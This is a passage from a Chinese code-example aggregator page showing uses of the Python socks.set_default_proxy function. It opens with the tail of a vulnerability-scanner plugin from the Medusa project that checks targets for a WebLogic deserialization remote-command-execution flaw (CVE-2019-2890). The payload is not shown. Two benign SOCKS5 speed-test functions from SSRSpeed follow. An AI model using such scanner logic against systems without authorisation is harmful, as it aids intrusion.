con= re.search(b'\\$Proxy[0-9]+', res)
if con.group()!=None:
Medusa = "{}存在Weblogic反序列化远程命令执行漏洞(CVE-2019-2890)\r\n验证数据:\r\n使用POC:{}\r\n返回数据包:{}\r\n正则数据:{}\r\n".format(url,bytes.fromhex(payload),str(res),con.group())
_t = VulnerabilityInfo(Medusa)
VulnerabilityDetails(_t.info, url,**kwargs).Write() # 传入url和扫描到的数据
WriteFile().result(str(url),str(Medusa))#写入文件,url为目标文件名统一传入,Medusa为结果
except Exception as e:
_ = VulnerabilityInfo('').info.get('algroup')
ErrorHandling().Outlier(e, _)
ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e) # 调用写入类传入URL和错误插件名
开发者ID:Ascotbe,项目名称:Medusa,代码行数:48,代码来源:WeblogicDeserializationCommandExecutionVulnerability4.py
示例18: startTest
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def startTest(self,method = "ST_ASYNC"):
logger.info("Starting speed test with %s" % method)
if (method == "SPEED_TEST_NET"):
try:
socks.set_default_proxy(socks.SOCKS5,LOCAL_ADDRESS,LOCAL_PORT)
socket.socket = socks.socksocket
logger.info("Initializing")
s = speedtestnet.Speedtest()
logger.info("Selecting Best Server.")
logger.info(s.get_best_server())
logger.info("Testing Download...")
s.download()
result = s.results.dict()
self.__initSocket()
return (result["download"] / 8, 0, [], 0) # bits to bytes
except:
logger.exception("")
return (0, 0, [], 0)
elif (method == "FAST"):
try:
fast.setProxy(LOCAL_ADDRESS,LOCAL_PORT)
result = 0
result = fast.fast_com(verbose=True)
self.__initSocket()
#print(result)
return (result, 0, [], 0)
except:
logger.exception("")
return (0, 0, [], 0)
elif (method == "SOCKET"):#Old speedtest
try:
return stSocket.speedTestSocket(LOCAL_PORT)
except:
logger.exception("")
return (0, 0, [], 0)
elif method == "ST_ASYNC":
try:
return st_asyncio.start(LOCAL_ADDRESS, LOCAL_PORT)
except:
logger.exception("")
return (0, 0, [], 0)
else:
raise ValueError("Invalid test method %s" % method)
开发者ID:NyanChanMeow,项目名称:SSRSpeed,代码行数:45,代码来源:speed_test_methods.py
示例19: speedTestSocket
# 需要导入模块: import socks [as 别名]
# 或者: from socks import set_default_proxy [as 别名]
def speedTestSocket(port):
global EXIT_FLAG,LOCAL_PORT,MAX_TIME,TOTAL_RECEIVED,MAX_FILE_SIZE
LOCAL_PORT = port
dlrm = DownloadRuleMatch()
res = dlrm.get_url(IPLoc())
MAX_FILE_SIZE = res[1] * 1024 * 1024
MAX_TIME = 0
TOTAL_RECEIVED = 0
EXIT_FLAG = False
socks.set_default_proxy(socks.SOCKS5,"127.0.0.1", LOCAL_PORT)
socket.socket = socks.socksocket
for i in range(0,MAX_THREAD):
nmsl = threading.Thread(target=speedTestThread,args=(res[0],))
nmsl.start()
maxSpeedList = []
maxSpeed = 0
currentSpeed = 0
OLD_RECEIVED = 0
DELTA_RECEIVED = 0
for i in range(1,21):
time.sleep(0.5)
LOCK.acquire()
DELTA_RECEIVED = TOTAL_RECEIVED - OLD_RECEIVED
OLD_RECEIVED = TOTAL_RECEIVED
LOCK.release()
currentSpeed = DELTA_RECEIVED / 0.5
maxSpeedList.append(currentSpeed)
print("\r[" + "="*i + "> [%d%%/100%%] [%.2f MB/s]" % (int(i * 5),currentSpeed / 1024 / 1024),end='')
if (EXIT_FLAG):
break
print("\r[" + "="*i + "] [100%%/100%%] [%.2f MB/s]" % (currentSpeed / 1024 / 1024),end='\n')
EXIT_FLAG = True
for i in range(0,10):
time.sleep(0.1)
if (MAX_TIME != 0):
break
if (MAX_TIME == 0):
logger.error("Socket Test Error !")
return (0, 0, [], 0)
restoreSocket()
rawSpeedList = copy.deepcopy(maxSpeedList)
maxSpeedList.sort()
if (len(maxSpeedList) > 12):
msum = 0
for i in range(12,len(maxSpeedList) - 2):
msum += maxSpeedList[i]
maxSpeed = (msum / (len(maxSpeedList) - 2 - 12))
else:
maxSpeed = currentSpeed
logger.info("Fetched {:.2f} KB in {:.2f} s.".format(TOTAL_RECEIVED / 1024,MAX_TIME))
return (TOTAL_RECEIVED / MAX_TIME,maxSpeed,rawSpeedList,TOTAL_RECEIVED)
开发者ID:NyanChanMeow,项目名称:SSRSpeed,代码行数:57,代码来源:st_socket.py
注:本文中的socks.set_default_proxy方法示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。